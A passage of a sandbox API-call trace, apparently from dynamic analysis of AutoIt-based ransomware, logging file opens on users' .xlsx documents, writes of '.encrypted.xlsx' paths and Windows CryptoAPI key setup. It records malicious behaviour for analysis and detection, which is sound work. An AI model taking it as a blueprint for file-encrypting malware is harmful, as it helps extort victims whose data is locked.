wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.012] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.012] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.012] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.012] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.012] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.012] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.012] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.012] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.012] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0026.012] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.013] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.013] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.013] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0026.013] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.013] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.013] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.013] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.013] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.013] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.013] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0026.013] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.013] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.013] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.013] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.013] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.016] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.016] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.016] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0026.016] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.016] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.016] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.016] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.016] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0026.016] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0026.016] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=5912) returned 1 [0026.016] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0026.016] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0026.017] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0026.017] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x1718, lpOverlapped=0x0) returned 1 [0026.017] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0026.017] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x1718, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0026.017] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=5912) returned 1 [0026.017] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\zBza.encrypted.xlsx\r\n", cchWideChar=53, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 53 [0026.017] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\zBza.encrypted.xlsx\r\n", cchWideChar=53, lpMultiByteStr=0xe8f404ba10, cbMultiByte=53, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\zBza.encrypted.xlsx\r\n", lpUsedDefaultChar=0x0) returned 53 [0026.017] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f4051590*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4051590*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x34, lpOverlapped=0x0) returned 1 [0026.017] CloseHandle (hObject=0x1fc) returned 1 [0026.018] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.018] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.019] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.019] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.019] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.019] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0026.019] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.020] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0026.020] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0026.021] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.021] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f41788a0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0026.021] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0026.021] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.021] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178500, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0026.021] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0026.021] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\zD9_fkuLWLeWHM.xlsx", cchWideChar=51, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 51 [0026.021] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\zD9_fkuLWLeWHM.xlsx", cchWideChar=51, lpMultiByteStr=0xe8f404ba10, cbMultiByte=51, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\zD9_fkuLWLeWHM.xlsx", lpUsedDefaultChar=0x0) returned 51 [0026.022] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\zD9_fkuLWLeWHM.xlsx" (normalized: "c:\\users\\5jghkoaofdp\\documents\\zd9_fkulwlewhm.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0026.022] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=51, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 51 [0026.022] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=51, lpWideCharStr=0xe8f4062330, cchWideChar=51 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\zD9_fkuLWLeWHM.xlsx") returned 51 [0026.022] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0026.023] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.023] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.023] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0026.023] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0026.023] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.023] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178880, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0026.023] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0026.023] CloseHandle (hObject=0x1fc) returned 1 [0026.024] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0026.024] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.024] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.024] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0026.024] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.024] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0026.024] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0026.024] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.024] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.024] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.024] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.024] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.024] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.024] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0026.024] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0026.024] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.024] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.024] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.024] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.024] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.025] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.025] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.025] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0026.025] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.025] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.025] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0026.025] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.025] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.025] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.025] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0026.025] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.025] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.025] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.025] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.025] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.025] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0026.025] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.025] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40633e0) returned 1 [0026.026] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.026] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.026] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0026.026] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.026] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.026] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.026] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.026] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.026] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0026.026] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.026] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.026] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.026] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.026] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.026] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.026] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0026.026] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.026] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.026] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0026.026] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.026] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.026] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0026.026] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.026] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.026] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0026.026] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.027] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.027] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.027] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.027] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 